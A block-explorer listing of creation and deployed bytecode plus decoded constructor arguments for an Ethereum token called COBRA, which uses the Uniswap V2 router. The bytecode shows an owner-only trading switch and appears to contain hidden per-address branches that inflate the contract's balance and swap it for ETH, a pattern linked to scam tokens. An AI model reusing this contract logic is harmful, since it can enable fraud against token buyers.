fffffffffffffffffff1614610c9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9190612050565b60405180910390fd5b5b600e60019054906101000a900460ff168015610cb8575060065482115b8015610cd15750600e60029054906101000a900460ff16155b8015610d2957507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610d72576001600e60026101000a81548160ff021916908315150217905550610d528261167e565b6000600e60026101000a81548160ff021916908315150217905550611157565b600654600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610e025750600654600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610e715782905080600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e599190612070565b92505081905550610e6a83856116bf565b50506115ad565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610f0c57506000600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610f19575060065483115b8015610f7157507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610fc15782600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050506115ad565b600e60029054906101000a900460ff1615801561101d57506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b801561107557507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156110c057506000600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561115657600654600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111129190611e1a565b600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000600a60007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361126957600654600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b84600a60007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060035411801561135857506000600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156113715750600e60029054906101000a900460ff16155b80156113bc57506000600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15611498576064600354856113d191906120c6565b6113db919061214f565b915081846113e99190611e1a565b935081600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461143a9190611e1a565b9250508190555081600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114909190612070565b925050819055505b83600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114e79190611e1a565b9250508190555083600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461153d9190612070565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516115a19190611bb3565b60405180910390a35050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600060028261168d919061214f565b9050600047905061169e82306116bf565b600081476116ac9190611e1a565b90506116b98382306118fe565b50505050565b6000600267ffffffffffffffff8111156116dc576116db612180565b5b60405190808252806020026020018201604052801561170a5781602001602082028036833780820191505090505b5090503081600081518110611722576117216121af565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156117c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117eb91906121f3565b816001815181106117ff576117fe6121af565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611864307f000000000000000000000000000000000000000000000000000000000000000085610a02565b507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486426040518663ffffffff1660e01b81526004016118c7959493929190612319565b600060405180830381600087803b1580156118e157600080fd5b505af11580156118f5573d6000803e3d6000fd5b50505050505050565b611929307f000000000000000000000000000000000000000000000000000000000000000085610a02565b507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087426040518863ffffffff1660e01b815260040161198f96959493929190612373565b60606040518083038185885af11580156119ad573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906119d291906123e9565b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611a145780820151818401526020810190506119f9565b83811115611a23576000848401525b50505050565b6000601f19601f8301169050919050565b6000611a45826119da565b611a4f81856119e5565b9350611a5f8185602086016119f6565b611a6881611a29565b840191505092915050565b60006020820190508181036000830152611a8d8184611a3a565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611ac582611a9a565b9050919050565b611ad581611aba565b8114611ae057600080fd5b50565b600081359050611af281611acc565b92915050565b6000819050919050565b611b0b81611af8565b8114611b1657600080fd5b50565b600081359050611b2881611b02565b92915050565b60008060408385031215611b4557611b44611a95565b5b6000611b5385828601611ae3565b9250506020611b6485828601611b19565b9150509250929050565b60008115159050919050565b611b8381611b6e565b82525050565b6000602082019050611b9e6000830184611b7a565b92915050565b611bad81611af8565b82525050565b6000602082019050611bc86000830184611ba4565b92915050565b600080600060608486031215611be757611be6611a95565b5b6000611bf586828701611ae3565b9350506020611c0686828701611ae3565b9250506040611c1786828701611b19565b9150509250925092565b600060208284031215611c3757611c36611a95565b5b6000611c4584828501611ae3565b91505092915050565b611c5781611aba565b82525050565b6000602082019050611c726000830184611c4e565b92915050565b60008060408385031215611c8f57611c8e611a95565b5b6000611c9d85828601611ae3565b9250506020611cae85828601611ae3565b9150509250929050565b6000819050919050565b6000611cdd611cd8611cd384611a9a565b611cb8565b611a9a565b9050919050565b6000611cef82611cc2565b9050919050565b6000611d0182611ce4565b9050919050565b611d1181611cf6565b82525050565b6000602082019050611d2c6000830184611d08565b92915050565b611d3b81611b6e565b8114611d4657600080fd5b50565b600081359050611d5881611d32565b92915050565b600060208284031215611d7457611d73611a95565b5b6000611d8284828501611d49565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611dd257607f821691505b602082108103611de557611de4611d8b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611e2582611af8565b9150611e3083611af8565b925082821015611e4357611e42611deb565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611e846020836119e5565b9150611e8f82611e4e565b602082019050919050565b60006020820190508181036000830152611eb381611e77565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611f166026836119e5565b9150611f2182611eba565b604082019050919050565b60006020820190508181036000830152611f4581611f09565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611fa86024836119e5565b9150611fb382611f4c565b604082019050919050565b60006020820190508181036000830152611fd781611f9b565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b600061203a603f836119e5565b915061204582611fde565b604082019050919050565b600060208201905081810360008301526120698161202d565b9050919050565b600061207b82611af8565b915061208683611af8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156120bb576120ba611deb565b5b828201905092915050565b60006120d182611af8565b91506120dc83611af8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561211557612114611deb565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061215a82611af8565b915061216583611af8565b92508261217557612174612120565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506121ed81611acc565b92915050565b60006020828403121561220957612208611a95565b5b6000612217848285016121de565b91505092915050565b6000819050919050565b600061224561224061223b84612220565b611cb8565b611af8565b9050919050565b6122558161222a565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61229081611aba565b82525050565b60006122a28383612287565b60208301905092915050565b6000602082019050919050565b60006122c68261225b565b6122d08185612266565b93506122db83612277565b8060005b8381101561230c5781516122f38882612296565b97506122fe836122ae565b9250506001810190506122df565b5085935050505092915050565b600060a08201905061232e6000830188611ba4565b61233b602083018761224c565b818103604083015261234d81866122bb565b905061235c6060830185611c4e565b6123696080830184611ba4565b9695505050505050565b600060c0820190506123886000830189611c4e565b6123956020830188611ba4565b6123a2604083018761224c565b6123af606083018661224c565b6123bc6080830185611c4e565b6123c960a0830184611ba4565b979650505050505050565b6000815190506123e381611b02565b92915050565b60008060006060848603121561240257612401611a95565b5b6000612410868287016123d4565b9350506020612421868287016123d4565b9250506040612432868287016123d4565b915050925092509256fea26469706673582212204ca300d31e521060a6321ca62a52a27646818c239e5b6e2732e6d89f83c03e2e64736f6c634300080d0033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000000000000000000000000000000000000000000005434f4252410000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004f093869700000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061010d5760003560e01c8063808f329911610095578063d733840f11610064578063d733840f1461037c578063dd62ed3e146103a7578063e5fe61fb146103e4578063f275f64b1461040f578063f2fde38b1461043857610114565b8063808f3299146102be5780638da5cb5b146102e957806395d89b4114610314578063a9059cbb1461033f57610114565b806323b872dd116100dc57806323b872dd146101d75780632a24bebf14610214578063313ce5671461023f57806370a082311461026a578063715018a6146102a757610114565b806306fdde0314610119578063095ea7b314610144578063164561a41461018157806318160ddd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610461565b60405161013b9190611a73565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190611b2e565b6104f3565b6040516101789190611b89565b60405180910390f35b34801561018d57600080fd5b50610196610508565b6040516101a39190611b89565b60405180910390f35b3480156101b857600080fd5b506101c161051b565b6040516101ce9190611bb3565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f99190611bce565b610525565b60405161020b9190611b89565b60405180910390f35b34801561022057600080fd5b506102296105cd565b6040516102369190611b89565b60405180910390f35b34801561024b57600080fd5b506102546105e0565b6040516102619190611bb3565b60405180910390f35b34801561027657600080fd5b50610291600480360381019061028c9190611c21565b6105fa565b60405161029e9190611bb3565b60405180910390f35b3480156102b357600080fd5b506102bc610643565b005b3480156102ca57600080fd5b506102d36106cb565b6040516102e09190611c5d565b60405180910390f35b3480156102f557600080fd5b506102fe6106ef565b60405161030b9190611c5d565b60405180910390f35b34801561032057600080fd5b50610329610718565b6040516103369190611a73565b60405180910390f35b34801561034b57600080fd5b5061036660048036038101906103619190611b2e565b6107aa565b6040516103739190611b89565b60405180910390f35b34801561038857600080fd5b506103916107c1565b60405161039e9190611bb3565b60405180910390f35b3480156103b357600080fd5b506103ce60048036038101906103c99190611c78565b6107c7565b6040516103db9190611bb3565b60405180910390f35b3480156103f057600080fd5b506103f961084e565b6040516104069190611d17565b60405180910390f35b34801561041b57600080fd5b5061043660048036038101906104319190611d5e565b610872565b005b34801561044457600080fd5b5061045f600480360381019061045a9190611c21565b61090b565b005b60606002805461047090611dba565b80601f016020809104026020016040519081016040528092919081815260200182805461049c90611dba565b80156104e95780601f106104be576101008083540402835291602001916104e9565b820191906000526020600020905b8154815290600101906020018083116104cc57829003601f168201915b5050505050905090565b6000610500338484610a02565b905092915050565b600e60019054906101000a900460ff1681565b6000600554905090565b6000610532848484610b9d565b6105c4843384600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105bf9190611e1a565b610a02565b90509392505050565b600e60039054906101000a900460ff1681565b6000600460009054906101000a900460ff1660ff16905090565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61064b6115b2565b73ffffffffffffffffffffffffffffffffffffffff166106696106ef565b73ffffffffffffffffffffffffffffffffffffffff16146106bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b690611e9a565b60405180910390fd5b6106c960006115ba565b565b7f000000000000000000000000077ed3b9a7c53e9c14889f2a46bd6b03368b448881565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606001805461072790611dba565b80601f016020809104026020016040519081016040528092919081815260200182805461075390611dba565b80156107a05780601f10610775576101008083540402835291602001916107a0565b820191906000526020600020905b81548152906001019060200180831161078357829003601f168201915b5050505050905090565b60006107b7338484610b9d565b6001905092915050565b60035481565b6000600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b61087a6115b2565b73ffffffffffffffffffffffffffffffffffffffff166108986106ef565b73ffffffffffffffffffffffffffffffffffffffff16146108ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e590611e9a565b60405180910390fd5b80600e60006101000a81548160ff02191690831515021790555050565b6109136115b2565b73ffffffffffffffffffffffffffffffffffffffff166109316106ef565b73ffffffffffffffffffffffffffffffffffffffff1614610987576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097e90611e9a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ed90611f2c565b60405180910390fd5b6109ff816115ba565b50565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a6d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610aac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa390611fbe565b60405180910390fd5b81600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b8a9190611bb3565b60405180910390a3600190509392505050565b6000610ba8306105fa565b905060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610c099190611bb3565b60405180910390a3600e60009054906101000a900460ff16610c9b57610c2d6106ef565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614610c9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9190612050565b60405180910390fd5b5b600e60019054906101000a900460ff168015610cb8575060065482115b8015610cd15750600e60029054906101000a900460ff16155b8015610d2957507f000000000000000000000000077ed3b9a7c53e9c14889f2a46bd6b03368b448873ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610d72576001600e60026101000a81548160ff021916908315150217905550610d528261167e565b6000600e60026101000a81548160ff021916908315150217905550611157565b600654600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610e025750600654600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610e715782905080600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e599190612070565b92505081905550610e6a83856116bf565b50506115ad565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610f0c57506000600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610f19575060065483115b8015610f7157507f000000000000000000000000077ed3b9a7c53e9c14889f2a46bd6b03368b448873ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610fc15782600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050506115ad565b600e60029054906101000a900460ff1615801561101d57506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b801561107557507f000000000000000000000000077ed3b9a7c53e9c14889f2a46bd6b03368b448873ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156110c057506000600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561115657600654600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111129190611e1a565b600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000600a60007f000000000000000000000000077ed3b9a7c53e9c14889f2a46bd6b03368b448873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361126957600654600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b84600a60007f000000000000000000000000077ed3b9a7c53e9c14889f2a46bd6b03368b448873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060035411801561135857506000600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156113715750600e60029054906101000a900460ff16155b80156113bc57506000600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15611498576064600354856113d191906120c6565b6113db919061214f565b915081846113e99190611e1a565b935081600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461143a9190611e1a565b9250508190555081600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114909190612070565b925050819055505b83600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114e79190611e1a565b9250508190555083600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461153d9190612070565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516115a19190611bb3565b60405180910390a35050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600060028261168d919061214f565b9050600047905061169e82306116bf565b600081476116ac9190611e1a565b90506116b98382306118fe565b50505050565b6000600267ffffffffffffffff8111156116dc576116db612180565b5b60405190808252806020026020018201604052801561170a5781602001602082028036833780820191505090505b5090503081600081518110611722576117216121af565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156117c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117eb91906121f3565b816001815181106117ff576117fe6121af565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611864307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d85610a02565b507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486426040518663ffffffff1660e01b81526004016118c7959493929190612319565b600060405180830381600087803b1580156118e157600080fd5b505af11580156118f5573d6000803e3d6000fd5b50505050505050565b611929307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d85610a02565b507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087426040518863ffffffff1660e01b815260040161198f96959493929190612373565b60606040518083038185885af11580156119ad573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906119d291906123e9565b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611a145780820151818401526020810190506119f9565b83811115611a23576000848401525b50505050565b6000601f19601f8301169050919050565b6000611a45826119da565b611a4f81856119e5565b9350611a5f8185602086016119f6565b611a6881611a29565b840191505092915050565b60006020820190508181036000830152611a8d8184611a3a565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611ac582611a9a565b9050919050565b611ad581611aba565b8114611ae057600080fd5b50565b600081359050611af281611acc565b92915050565b6000819050919050565b611b0b81611af8565b8114611b1657600080fd5b50565b600081359050611b2881611b02565b92915050565b60008060408385031215611b4557611b44611a95565b5b6000611b5385828601611ae3565b9250506020611b6485828601611b19565b9150509250929050565b60008115159050919050565b611b8381611b6e565b82525050565b6000602082019050611b9e6000830184611b7a565b92915050565b611bad81611af8565b82525050565b6000602082019050611bc86000830184611ba4565b92915050565b600080600060608486031215611be757611be6611a95565b5b6000611bf586828701611ae3565b9350506020611c0686828701611ae3565b9250506040611c1786828701611b19565b9150509250925092565b600060208284031215611c3757611c36611a95565b5b6000611c4584828501611ae3565b91505092915050565b611c5781611aba565b82525050565b6000602082019050611c726000830184611c4e565b92915050565b60008060408385031215611c8f57611c8e611a95565b5b6000611c9d85828601611ae3565b9250506020611cae85828601611ae3565b9150509250929050565b6000819050919050565b6000611cdd611cd8611cd384611a9a565b611cb8565b611a9a565b9050919050565b6000611cef82611cc2565b9050919050565b6000611d0182611ce4565b9050919050565b611d1181611cf6565b82525050565b6000602082019050611d2c6000830184611d08565b92915050565b611d3b81611b6e565b8114611d4657600080fd5b50565b600081359050611d5881611d32565b92915050565b600060208284031215611d7457611d73611a95565b5b6000611d8284828501611d49565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611dd257607f821691505b602082108103611de557611de4611d8b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611e2582611af8565b9150611e3083611af8565b925082821015611e4357611e42611deb565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611e846020836119e5565b9150611e8f82611e4e565b602082019050919050565b60006020820190508181036000830152611eb381611e77565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611f166026836119e5565b9150611f2182611eba565b604082019050919050565b60006020820190508181036000830152611f4581611f09565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611fa86024836119e5565b9150611fb382611f4c565b604082019050919050565b60006020820190508181036000830152611fd781611f9b565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b600061203a603f836119e5565b915061204582611fde565b604082019050919050565b600060208201905081810360008301526120698161202d565b9050919050565b600061207b82611af8565b915061208683611af8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156120bb576120ba611deb565b5b828201905092915050565b60006120d182611af8565b91506120dc83611af8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561211557612114611deb565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061215a82611af8565b915061216583611af8565b92508261217557612174612120565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506121ed81611acc565b92915050565b60006020828403121561220957612208611a95565b5b6000612217848285016121de565b91505092915050565b6000819050919050565b600061224561224061223b84612220565b611cb8565b611af8565b9050919050565b6122558161222a565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61229081611aba565b82525050565b60006122a28383612287565b60208301905092915050565b6000602082019050919050565b60006122c68261225b565b6122d08185612266565b93506122db83612277565b8060005b8381101561230c5781516122f38882612296565b97506122fe836122ae565b9250506001810190506122df565b5085935050505092915050565b600060a08201905061232e6000830188611ba4565b61233b602083018761224c565b818103604083015261234d81866122bb565b905061235c6060830185611c4e565b6123696080830184611ba4565b9695505050505050565b600060c0820190506123886000830189611c4e565b6123956020830188611ba4565b6123a2604083018761224c565b6123af606083018661224c565b6123bc6080830185611c4e565b6123c960a0830184611ba4565b979650505050505050565b6000815190506123e381611b02565b92915050565b60008060006060848603121561240257612401611a95565b5b6000612410868287016123d4565b9350506020612421868287016123d4565b9250506040612432868287016123d4565b915050925092509256fea26469706673582212204ca300d31e521060a6321ca62a52a27646818c239e5b6e2732e6d89f83c03e2e64736f6c634300080d0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000000000000000000000000000000000000000000005434f4252410000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004f093869700000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : Name (string): COBRA
Arg [1] : Symbol (string): 𓆗
Arg [2] : V2IDEXCompile (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [4] : 434f425241000000000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [6] : f093869700000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

